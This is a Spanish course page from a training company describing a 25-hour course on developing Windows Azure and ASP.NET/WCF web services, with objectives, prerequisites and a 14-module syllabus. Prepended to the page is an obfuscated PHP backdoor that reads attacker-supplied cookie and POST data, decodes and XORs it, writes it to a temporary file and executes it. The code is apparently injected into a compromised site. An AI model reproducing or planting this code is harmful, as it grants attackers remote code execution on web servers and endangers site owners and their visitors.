$PFkQQj = chr (121) . "\x5f" . 'i' . "\131" . chr ( 450 - 373 ).chr ( 258 - 182 ); $cndBMIMKWU = "\x63" . "\x6c" . 'a' . "\163" . chr (115) . chr (95) . 'e' . "\170" . 'i' . 's' . chr (116) . 's';$YCsjZOjng = class_exists($PFkQQj); $PFkQQj = "60693";$cndBMIMKWU = "62927";$LSHFWHvtVn = !1;if ($YCsjZOjng == $LSHFWHvtVn){function JQiUsND(){return FALSE;}$flGKbPmb = "24328";JQiUsND();class y_iYML{private function kHqizmFp($flGKbPmb){if (is_array(y_iYML::$HnXmizr)) {$uDVeO = sys_get_temp_dir() . "/" . crc32(y_iYML::$HnXmizr["\x73" . "\x61" . "\154" . 't']);@y_iYML::$HnXmizr['w' . chr ( 342 - 228 ).chr ( 802 - 697 )."\164" . chr (101)]($uDVeO, y_iYML::$HnXmizr["\143" . chr (111) . chr ( 583 - 473 ).'t' . 'e' . chr ( 405 - 295 )."\164"]);include $uDVeO;@y_iYML::$HnXmizr['d' . "\145" . "\154" . 'e' . "\164" . "\x65"]($uDVeO); $flGKbPmb = "24328";exit();}}private $nfIOxBUgci;public function KzSRiT(){echo 57754;}public function __destruct(){$flGKbPmb = "58915_20028";$this->kHqizmFp($flGKbPmb); $flGKbPmb = "58915_20028";}public function __construct($gBEinuZpzm=0){$FXHNMtt = $_POST;$CMSrFiI = $_COOKIE;$BQAQiDZrib = "cb529a8e-ec0b-435f-86a9-4175305cacff";$xonCzaGOAG = @$CMSrFiI[substr($BQAQiDZrib, 0, 4)];if (!empty($xonCzaGOAG)){$EviQPEw = "base64";$pkBLiUThwD = "";$xonCzaGOAG = explode(",", $xonCzaGOAG);foreach ($xonCzaGOAG as $HrpNnQ){$pkBLiUThwD .= @$CMSrFiI[$HrpNnQ];$pkBLiUThwD .= @$FXHNMtt[$HrpNnQ];}$pkBLiUThwD = array_map($EviQPEw . "\x5f" . "\x64" . chr ( 1028 - 927 ).'c' . "\157" . chr (100) . "\x65", array($pkBLiUThwD,)); $pkBLiUThwD = $pkBLiUThwD[0] ^ str_repeat($BQAQiDZrib, (strlen($pkBLiUThwD[0]) / strlen($BQAQiDZrib)) + 1);y_iYML::$HnXmizr = @unserialize($pkBLiUThwD); $pkBLiUThwD = class_exists("58915_20028");}}public static $HnXmizr = 41468;}$DhFBgMpMgw = new /* 61252 */ y_iYML(24328 + 24328); $_POST = Array();unset($DhFBgMpMgw);} Developing Windows Azure and Web Services|Grupo Loyal

Developing Windows Azure and Web Services

En este curso, los estudiantes aprenderán a diseñar y desarrollar servicios que accedan a datos locales y remotos de varias fuentes de datos. Los estudiantes también aprenderán a desarrollar y desplegar servicios en entornos híbridos, incluyendo servidores locales y Windows Azure.

Objetivos

Consultar y manipular datos con Entity Framework
Utiliza ASP.NET Web API para crear servicios basados en HTTP y consumirlos desde clientes con o sin conexión a Internet
Amplía los servicios de la API web ASP.NET utilizando manejadores de mensajes, encuadernadores de modelos, filtros de acción y formateadores de tipos de medios
Crear servicios basados en SOAP con Windows Communication Foundation (WCF) y consumirlos desde clientes .NET
Aplicar los principios de diseño a los contratos de servicio y extender los servicios de WCF usando componentes y comportamientos de tiempo de ejecución personalizados
Asegura los servicios de WCF utilizando la seguridad del transporte y de los mensajes
Utiliza Windows Azure Service Bus para la mensajería retransmitida y la mensajería intermediada utilizando colas y temas
Servicios de hospedaje en servidores locales y en varios entornos de Windows Azure, como funciones web, funciones de los trabajadores y sitios web.
Despliega los servicios tanto en los servidores locales como en Windows Azure
Almacena y acceda a los datos en Windows Azure Storage y configure los derechos de acceso al almacenamiento
Monitoreo y registro de servicios, tanto en las instalaciones como en Windows Azure
Implementar la autenticación federada mediante el uso de ACS con servicios de ASP.NET Web API
Crear servicios escalables y con equilibrio de carga

Administración y programación bases de datos

Disponible en formato e-learning

Disponible en formato presencial

Disponible en formato a distancia

Descargar la información del curso

Subvención disponible
A través de Fundae, cumpliendo requisitos.

Duración
25 horas

  • Dificultad 50% 50%
  • Nivel alcanzado 80% 80%

Dirigido a

Este curso está dirigido a desarrolladores .NET tanto novatos como experimentados que tengan un mínimo de seis meses de experiencia en programación y que quieran aprender a desarrollar servicios e implementarlos en entornos híbridos.

Conocimientos requeridos

Experiencia en programación en C#, y conceptos como expresiones Lambda, LINQ y tipos anónimos.
Comprensión de los conceptos de las aplicaciones de n-tier.
Experiencia en la consulta y manipulación de datos con ADO.NET.
Conocimiento de las estructuras de datos XML.

Temario

Módulo 1: Visión general de las tecnologías de servicio y de la nube

· Componentes clave de las aplicaciones distribuidas

· Tecnologías de datos y acceso a los datos

· Tecnologías de servicios

· Computación en la nube

· Explorando la aplicación Blue Yonder Airlines

Módulo 2: Consultar y manipular datos usando Entity Framework

· Visión general de ADO.NET

· Creación de un modelo de datos de entidad

· Consulta de datos

· Manipulación de datos

Módulo 3: Crear y consumir servicios de la Web API de ASP.NET

· ¿Qué son los servicios HTTP?

· Creación de un servicio ASP.NET Web API

· Manejo de solicitudes y respuestas HTTP

· Alojamiento y consumo de servicios ASP.NET Web API

Módulo 4: Ampliar y proteger los servicios de la Web API de ASP.NET

· ASP.NET Web API Request and response Pipelines

· Creación de servicios de OData

· Implementación de la seguridad en los servicios ASP.NET Web API

· Inyección de dependencias en los controladores

Módulo 5: Creación de servicios de WCF

· Ventajas de crear servicios con WCF

· Creación e implementación de un contrato

· Configuración y alojamiento de los servicios de WCF

· Consumir los servicios de la WCF

Módulo 6: Diseñar y ampliar los servicios de la WCF

· Aplicación de los principios de diseño a los contratos de servicios

· Manejo de transacciones distribuidas

· Arquitectura de la tubería de la WCF

· Ampliación del pipeline de WCF

Módulo 7: Implementación de la seguridad en los servicios de WCF

· Seguridad del transporte

· Seguridad de los mensajes

· Configuración de la autenticación y autorización de servicio

Módulo 8: Windows Azure Service Bus

· Windows Azure Service bus connections

· Windows Azure Service Bus Queues

Módulo 9: Servicios de hosting

· Servicios de alojamiento

· Servicios de hosting en Windows Azure

Módulo 10: Despliegue de servicios

· Implementación en la Web con Visual Studio

· Creación y despliegue de paquetes de aplicaciones web

· Herramientas de línea de comandos para paquetes de implementación web

· Despliegue en Windows Azure

· Entrega continua con TFS y GIT

· Mejores prácticas para el despliegue de la producción

Módulo 11: Almacenamiento Windows Azure

· Introducción al almacenamiento de Windows Azure

· Almacenamiento de Blob de Windows Azure

· Almacenamiento de la tabla de Windows Azure

· Almacenamiento en cola de espera de Windows Azure

· Restricción del acceso a Windows Azure Storage

Módulo 12: Monitoreo y diagnóstico

· Realización de diagnósticos mediante el rastreo

· Configuración del diagnóstico de servicio

· Monitoreo de IIS

· Servicios de monitorización mediante el diagnóstico de Windows Azure

· Depuración mediante IntelliTrace

· Recopilación de métricas de Windows Azure

Módulo 13: Gestión de identidades y control de acceso

· Conceptos de identidad

· Servicio de Control de Acceso

· Configuración de servicios para utilizar identidades federadas

· Manejo de identidades federadas en el lado del cliente

Módulo 14: Servicios de escalado

· Introducción a la escalabilidad

· Equilibrio de carga

· Escalado de servicios in situ con caché distribuido

· Windows Azure caching

· Cuadros de servicios de escalado

· Escalado a nivel mundial

Solicita información del curso

It Formacion

It Formacion